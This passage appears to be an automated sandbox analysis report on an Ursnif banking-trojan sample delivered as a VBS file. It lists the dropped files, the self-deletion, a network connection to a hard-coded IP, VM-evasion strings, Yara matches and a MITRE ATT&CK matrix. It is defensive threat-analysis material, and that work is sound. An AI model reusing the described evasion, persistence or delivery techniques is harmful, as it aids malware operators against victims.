            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_0089AC83 push ecx; ret 3_2_0089AC93
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_0089ED26 pushfd ; retf 3_2_0089ED36
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_0089A950 push ecx; ret 3_2_0089A959
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_1001443E push ebx; ret 3_2_1001443F
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_1001813D push edi; iretd 3_2_10018147
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_10013203 push edi; ret 3_2_10013204
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_10015242 push esp; ret 3_2_100152D0
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_1002B671 push ecx; ret 3_2_1002B684
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_10011B0B push 8D304C48h; ret 3_2_10011B12
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_10014789 push es; ret 3_2_100147A1
            Source: initial sampleStatic PE information: section name: .text entropy: 6.88734091593

            Persistence and Installation Behavior:

            barindex
            Creates processes via WMIShow sources
            Source: C:\Windows\System32\wscript.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
            Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Local\Temp\bedim.swiftJump to dropped file
            Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Local\Temp\bedim.swiftJump to dropped file

            Hooking and other Techniques for Hiding and Protection:

            barindex
            Yara detected UrsnifShow sources
            Source: Yara matchFile source: 00000003.00000003.871712148.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871833195.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871535000.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871452476.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871601020.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871659382.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871797911.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871754937.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: regsvr32.exe PID: 4252, type: MEMORY
            Deletes itself after installationShow sources
            Source: C:\Windows\System32\wscript.exeFile deleted: c:\users\user\desktop\look_presentation#_71408.vbsJump to behavior
            Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\regsvr32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\regsvr32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

            Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
            Source: C:\Windows\SysWOW64\regsvr32.exeCheck user administrative privileges: GetTokenInformation,DecisionNodes
            Source: C:\Windows\System32\wscript.exe TID: 1924Thread sleep time: -30000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\regsvr32.exeLast function: Thread delayed
            Source: C:\Windows\System32\wscript.exeFile Volume queried: C:\Users\user\AppData\Local FullSizeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeFile Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformationJump to behavior
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_0089258E Wow64EnableWow64FsRedirection,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,memset,CreateFileA,GetFileTime,FindCloseChangeNotification,StrRChrA,lstrcat,FindFirstFileA,FindFirstFileA,CompareFileTime,CompareFileTime,FindClose,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,StrChrA,memcpy,FindNextFileA,FindClose,FindFirstFileA,CompareFileTime,FindClose,HeapFree,HeapFree,3_2_0089258E
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\Documents\desktop.iniJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\LocalJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppData\Local\TempJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\AppDataJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\userJump to behavior
            Source: C:\Windows\System32\wscript.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
            Source: wscript.exe, 00000000.00000003.573720826.000001D6C6DE3000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW0O
            Source: wscript.exe, 00000000.00000002.591814881.000001D6C9980000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
            Source: wscript.exe, 00000000.00000002.585623720.000001D6C912F000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW
            Source: wscript.exe, 00000000.00000002.591814881.000001D6C9980000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
            Source: wscript.exe, 00000000.00000002.591814881.000001D6C9980000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
            Source: wscript.exe, 00000000.00000002.591814881.000001D6C9980000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_10001FA6 LdrInitializeThunk,GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,3_2_10001FA6
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_100355C3 mov eax, dword ptr fs:[00000030h]3_2_100355C3
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_1003545B mov eax, dword ptr fs:[00000030h]3_2_1003545B
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_10035065 push dword ptr fs:[00000030h]3_2_10035065
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_10001E95 InitializeCriticalSection,TlsAlloc,RtlAddVectoredExceptionHandler,GetLastError,3_2_10001E95

            HIPS / PFW / Operating System Protection Evasion:

            barindex
            Benign windows process drops PE filesShow sources
            Source: C:\Windows\System32\wscript.exeFile created: bedim.swift.0.drJump to dropped file
            System process connects to network (likely due to code injection or exploit)Show sources
            Source: C:\Windows\System32\wscript.exeNetwork Connect: 88.99.66.31 187Jump to behavior
            Source: regsvr32.exe, 00000002.00000002.1147146820.0000000000CD0000.00000002.00000001.sdmp, regsvr32.exe, 00000003.00000002.1148061390.00000000030D0000.00000002.00000001.sdmpBinary or memory string: Program Manager
            Source: regsvr32.exe, 00000002.00000002.1147146820.0000000000CD0000.00000002.00000001.sdmp, regsvr32.exe, 00000003.00000002.1148061390.00000000030D0000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
            Source: regsvr32.exe, 00000002.00000002.1147146820.0000000000CD0000.00000002.00000001.sdmp, regsvr32.exe, 00000003.00000002.1148061390.00000000030D0000.00000002.00000001.sdmpBinary or memory string: Progman
            Source: regsvr32.exe, 00000002.00000002.1147146820.0000000000CD0000.00000002.00000001.sdmp, regsvr32.exe, 00000003.00000002.1148061390.00000000030D0000.00000002.00000001.sdmpBinary or memory string: Progmanlock

            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,3_2_10001E58
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_0089350A cpuid 3_2_0089350A
            Source: C:\Windows\SysWOW64\regsvr32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDateJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\baseboard.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\baseboard.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\baseboard.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\baseboard.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\baseboard.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\baseboard.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\baseboard.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\baseboard.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\baseboard.zip VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeQueries volume information: C:\Users\user\AppData\Local\Temp\baseboard.zip VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_10001BB9 GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,3_2_10001BB9
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_0089350A wsprintfA,RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,3_2_0089350A
            Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_1000177C CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,3_2_1000177C
            Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

            Stealing of Sensitive Information:

            barindex
            Yara detected UrsnifShow sources
            Source: Yara matchFile source: 00000003.00000003.871712148.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871833195.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871535000.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871452476.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871601020.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871659382.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871797911.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871754937.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: regsvr32.exe PID: 4252, type: MEMORY

            Remote Access Functionality:

            barindex
            Yara detected UrsnifShow sources
            Source: Yara matchFile source: 00000003.00000003.871712148.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871833195.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871535000.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871452476.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871601020.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871659382.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871797911.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.871754937.0000000005498000.00000004.00000040.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: regsvr32.exe PID: 4252, type: MEMORY

            Mitre Att&ck Matrix

            Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
            Valid AccountsWindows Management Instrumentation31Winlogon Helper DLLProcess Injection12Software Packing3Credential DumpingSystem Time Discovery1Remote File Copy3Data from Local SystemData Encrypted1Remote File Copy3Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
            Replication Through Removable MediaScripting121Port MonitorsAccessibility FeaturesScripting121Network SniffingAccount Discovery1Remote ServicesData from Removable MediaExfiltration Over Other Network MediumStandard Cryptographic Protocol12Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
            External Remote ServicesExecution through API1Accessibility FeaturesPath InterceptionFile Deletion1Input CaptureSecurity Software Discovery11Windows Remote ManagementData from Network Shared DriveAutomated ExfiltrationStandard Non-Application Layer Protocol3Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
            Drive-by CompromiseExploitation for Client Execution1System FirmwareDLL Search Order HijackingObfuscated Files or Information3Credentials in FilesFile and Directory Discovery3Logon ScriptsInput CaptureData EncryptedStandard Application Layer Protocol4SIM Card SwapPremium SMS Toll Fraud
            Exploit Public-Facing ApplicationGraphical User Interface1Shortcut ModificationFile System Permissions WeaknessMasquerading11Account ManipulationSystem Information Discovery46Shared WebrootData StagedScheduled TransferStandard Cryptographic ProtocolManipulate Device CommunicationManipulate App Store Rankings or Ratings
            Spearphishing LinkGraphical User InterfaceModify Existing ServiceNew ServiceVirtualization/Sandbox Evasion1Brute ForceVirtualization/Sandbox Evasion1Third-party SoftwareScreen CaptureData Transfer Size LimitsCommonly Used PortJamming or Denial of ServiceAbuse Accessibility Features
            Spearphishing AttachmentScriptingPath InterceptionScheduled TaskProcess Injection12Two-Factor Authentication InterceptionProcess Discovery1Pass the HashEmail CollectionExfiltration Over Command and Control ChannelUncommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
            Spearphishing via ServiceThird-party SoftwareLogon ScriptsProcess InjectionDLL Side-Loading1Bash HistorySystem Owner/User Discovery1Remote Desktop ProtocolClipboard DataExfiltration Over Alternative ProtocolStandard Application Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
            Supply Chain CompromiseRundll32DLL Search Order HijackingService Registry Permissions WeaknessProcess InjectionInput PromptRemote System Discovery1Windows Admin SharesAutomated CollectionExfiltration Over Physical MediumMultilayer EncryptionRogue Cellular Base StationData Destruction

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet